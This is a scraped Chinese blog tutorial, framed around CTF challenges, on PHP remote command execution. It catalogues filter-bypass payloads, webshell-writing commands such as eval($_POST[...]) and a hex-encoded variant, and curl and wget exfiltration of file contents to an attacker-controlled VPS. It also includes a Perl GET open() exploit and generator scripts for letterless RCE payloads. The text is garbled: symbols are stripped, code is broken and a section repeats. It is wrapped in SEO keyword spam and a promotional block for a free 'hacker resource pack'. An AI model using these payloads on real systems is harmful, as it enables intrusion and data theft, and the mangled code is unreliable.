有什么做旅游攻略的网站好,更改wordpress默认登录后台,Wordpress付费主题排名,什么是网络营销产生的现实基础1、什么是RCE
RCE又称远程代码执行漏洞#xff0c;可以让攻击者直接向后台服务器远程注入操作系统命令或者代码#xff0c;从而控制后台系统。
2、RCE产生原因
服务器没有对执行命令的函数做严格的过滤#xff0c;最终导致命令被执行。
3、命令执行函数
PHP代码执行函数…1、什么是RCE
RCE又称远程代码执行漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。
2、RCE产生原因
服务器没有对执行命令的函数做严格的过滤最终导致命令被执行。
3、命令执行函数
PHP代码执行函数
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等4、面对过滤绕过方法
1、过滤关键字如过滤 catflag等关键字
替代法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl显示的时候顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器这个也可以查看
vim:一种编辑器这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2%261 //报错出文件内容使用转义符号
ca\t /fl\ag
cat flag拼接法
afl;bag;cat$IFS$a$b使用空变量KaTeX parse error: Undefined control sequence: \* at position 1: \̲*̲和 x , x, x,{x}绕过 反引号绕过 编码绕过
1、Base64 2、8进制
3、16进制
正则表达式绕过 利用未初始化变量$u让绕过
2、过滤命令执行函数如过滤system()
编码绕过 内敛执行绕过
echo ls;
echo $(ls);
??ls;
??$(ls);3、过滤一些读取文件的命令如cat
绕过方法
[rootkali flag123]# curl file:///flag123/flagflag{suifeng}[rootkali flag123]# strings flag flag{suifeng}[rootkali flag123]# uniq -c flag1 flag{suifeng}[rootkali flag123]# bash -v flagflag{suifeng}flag: line 1: flag{suifeng}: command not found[rootkali flag123]# rev flag}gnefius{galf[rootkali flag123]#find – 列出当前目录下的文件以及子目录所有文件 4、过滤空格
%09url传递(cat%09flag.php)
${IFS}
$IFS$9
cat/flag
cat/flag
{cat,flag}5、过滤目录分割符
采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat flag_262431433226364.php6、过滤分割符 | ; //分号| //只执行后面那条命令|| //只执行前面那条命令 //两条命令都会执行 //两条命令都会执行%0a //换行符%0d //回车符号用?代替在php中可以用?来代替最后的一个因为php遇到定界符关闭标签会自动在末尾加上一个分号。7、过滤括号
8、输入字符串长度限制 # \指的是换行# ls -t是将文本按时间排序输出# ls -t shell 将输出输入到shell文件中# sh将文本中的文字读取出来执行9、利用$PATH环境变量绕过
利用环境变量来截取字母达到绕过过滤 假如数字被过滤我们还可以利用环境变量的长度来进一步绕过过滤
for i in env; do echo -n ${i%*} lenth is
;echo ${i#*}|awk {print length($0)}; done |grep 5 10、无回显
一、Shell_exec等无回显函数
方法一、
1、判断是否执行成功我们可以用sleep()
egls;sleep(5);
2、用压缩、复制、写shell等方法对其进行绕过此处要注意权限看是否有写的权限
copy flag 1.txtmv flag 1.txtcat flag 1.txttar zcvf flag.tar.gz flagecho 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps webshell.phpecho ?php eval($_POST[suifeng]); ? webshell.php利用上述操作产生新的文件然后我们在对新的文件进行访问 方法二、
用vps建立记录脚本
1、首先在自己的公网ip的网站目录下建立一个record.php的文件里面写下如下代码
?php$data $_GET[data];$f fopen(flag.txt, w);fwrite($f,$data);fclose($f);?2、第二步我们开始构造请求 curl http://*.*.*.**/record.php?datacat flagwget http://*.*.*.*/record.php?datacat flag测试
这里是上帝视角为了师傅们更直观理解
首先看目标网站上的文件 接下来看自己服务器上的文件 我们在目标站点执行如下命令 这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看 有时会读取不全这里我没碰到读取不全的话我们可以进行一个编码如下。
curlhttp://*.*.*.**/record.php?datacatflag|base64
wgethttp://*.*.*.*/record.php?datacatflag|base64更多参考https://blog.csdn.net/qq_43625917/article/details/107873787
二、/dev/null 21类无回显
代码中插入了/dev/null 21“/dev/null 21”的作用就是不回显。 该种无回显我们用分隔符进行分割即可绕过 11、Perl中open命令执行GET
源码
192.168.122.180 ?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]);$_SERVER[REMOTE_ADDR] $http_x_headers[0];}echo $_SERVER[REMOTE_ADDR];$sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]);mkdir($sandbox);chdir($sandbox);$data shell_exec(GET . escapeshellarg($_GET[url]));$info pathinfo($_GET[filename]);$dir str_replace(., , basename($info[dirname]));mkdir($dir);chdir($dir);file_put_contents(basename($info[basename]), $data);highlight_file(__FILE__);代码审计
首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来然后通过explode函数分割在把ip地址截取出来在用echo函数输出出来这就是我们第一行看到的IP地址 $sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]);sandbox变量为sandbox/后面拼接一个orange拼接输出的ip的MD5值在通过
mkdir($sandbox);
chdir($sandbox);
创建sandbox这个目录
$data shell_exec(GET . escapeshellarg($_GET[url]));这里的GET不是我么平常的GET方法传参这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
首先我们到kali里面去测试一下这个GET有什么作用 这里GET一个根目录功能类似于ls把它给列出来
可以读取文件 $data shell_exec(GET . escapeshellarg($_GET[url]));那么这句代码的意思就是把shell_exec中GET过来的结果保存到escapeshellarg中用get此处get为get请求接收的参数中并且这个参数是可以在shell命令里使用的参数。
然后用pathinfo函数分割get过来的filename最后替换点截取前面目录最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。
构造参数
首先我们GET根目录且让其放进test目录里 然后我们对其访问路径是sandbox拼接的MD5值test 根目录下有flag和readflag文件但是打不开我们要利用readflag去读取flag接下来就到我们标题所说的
Perl中open命令执行GET内容了。
因为GET的底层是使用open函数的如下
file.pm
84: opendir(D, $path) or
132: open(F, $path) or returnnew而这个open函数会导致我们的RCE最终造成GET的RCE 因为GET使用file协议时候会调用perl中的open函数 这里够造了好久也没构造出来看了下wp执行命令需要满住如下条件
要执行的命令先前必须要有以命令为文件名的文件存在这里不是很理解大佬可以告知一下
既然要满住这个条件那我们构造的payload如下
1、?urlfilename|/readflag
2、?urlfile:|/readflagfilenametest 最终访问拿到flag test 最终访问拿到flag
12、无字母数字RCE
代码示例
?phperror_reporting(0);highlight_file(__FILE__);$code$_GET[code];if(preg_match(/[a-z0-9]/i,$code)){die(hacker);}eval($code);代码分析
这里先代码很好理解接收一个code参数进行一个正则匹配匹配所哟的字母和数字匹配到了结果返回一个hacker字符串且结束代码。
这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行
绕过这里我们利用异或、或、取反等操作进行绕过
1、异或—首先利用如下脚本生成包含所有可见字符的异或构造结果。
?php$myfile fopen(res.txt, w);$contents;for ($i0; $i 256; $i) { for ($j0; $j 256 ; $j) { if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}$preg /[a-z0-9]/i; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo ;}else{$a%.$hex_i;$b%.$hex_j;$c(urldecode($a)^urldecode($b));if (ord($c)32ord($c)126) {$contents$contents.$c. .$a. .$b.\n;}}}}fwrite($myfile,$contents);fclose($myfile);运行python脚本生成我们的payload
import requestsimport urllibfrom sys import *import osdef action(arg):s1s2for i in arg:fopen(res.txt,r)while True:tf.readline()if t:breakif t[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(\s1\^\s2\)return(output)while True:paramaction(input(\n[] your function) )action(input([] your command));print(param)运行结果
(%08%02%08%08%05%0d^%7b%7b%7b%7c%60%60)(%04%09%09^%60%60%7b);这里注意一下php的版本尽量选择php的高版本低版本可能会导致执行不成功
2、或—原理一样就是脚本稍微改变一下
?php$myfile fopen(res.txt, w);$contents;for ($i0; $i 256; $i) { for ($j0; $j 256 ; $j) { if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}$preg /[0-9a-z]/i;//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo ;}else{$a%.$hex_i;$b%.$hex_j;$c(urldecode($a)|urldecode($b));if (ord($c)32ord($c)126) {$contents$contents.$c. .$a. .$b.\n;}}}}fwrite($myfile,$contents);fclose($myfile);python脚本
import requestsimport urllibfrom sys import *import osdef action(arg):s1s2for i in arg:fopen(or_rce.txt,r)while True:tf.readline()if t:breakif t[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(\s1\|\s2\)return(output)while True:paramaction(input(\n[] your function) )action(input([] your command));print(param)3、取反—取反用的字符不会触发正则表达式所以我们直接用php脚本生成payload即可
?php //在命令行中运行fwrite(STDOUT,[]your function: );$systemstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); fwrite(STDOUT,[]your command: );$commandstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); echo [*] (~.urlencode(~$system).)(~.urlencode(~$command).);;?if t[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(\s1\|\s2\)return(output)while True:paramaction(input(\n[] your function) )action(input([] your command));print(param)**3、取反---取反用的字符不会触发正则表达式所以我们直接用php脚本生成payload即可**text
?php //在命令行中运行fwrite(STDOUT,[]your function: );$systemstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); fwrite(STDOUT,[]your command: );$commandstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); echo [*] (~.urlencode(~$system).)(~.urlencode(~$command).);;?[外链图片转存中…(img-DrpcWCW4-1720519522680)] 今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。
网络安全学习资源分享:
给大家分享我自己学习的一份全套的网络安全学习资料希望对想学习 网络安全的小伙伴们有帮助
零基础入门
对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。
【点击免费领取】CSDN大礼包《黑客网络安全入门进阶学习资源包》
1.学习路线图 攻击和防守要学的东西也不少具体要学的东西我都写在了上面的路线图如果你能学完它们你去接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。【点击领取视频教程】 技术文档也是我自己整理的包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本【点击领取技术文档】 都打包成一块的了不能一一展开总共300多集
3.技术文档和电子书
技术文档也是我自己整理的包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本【点击领取书籍】 4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。 最后就是我这几年整理的网安方面的面试题如果你是要找网安方面的工作它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。
参考解析深信服官网、奇安信官网、Freebuf、csdn等
内容特点条理清晰含图像化表示更加易懂。
内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF… 全套《黑客网络安全入门进阶学习资源包》
这份完整版的学习资料已经上传CSDN也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】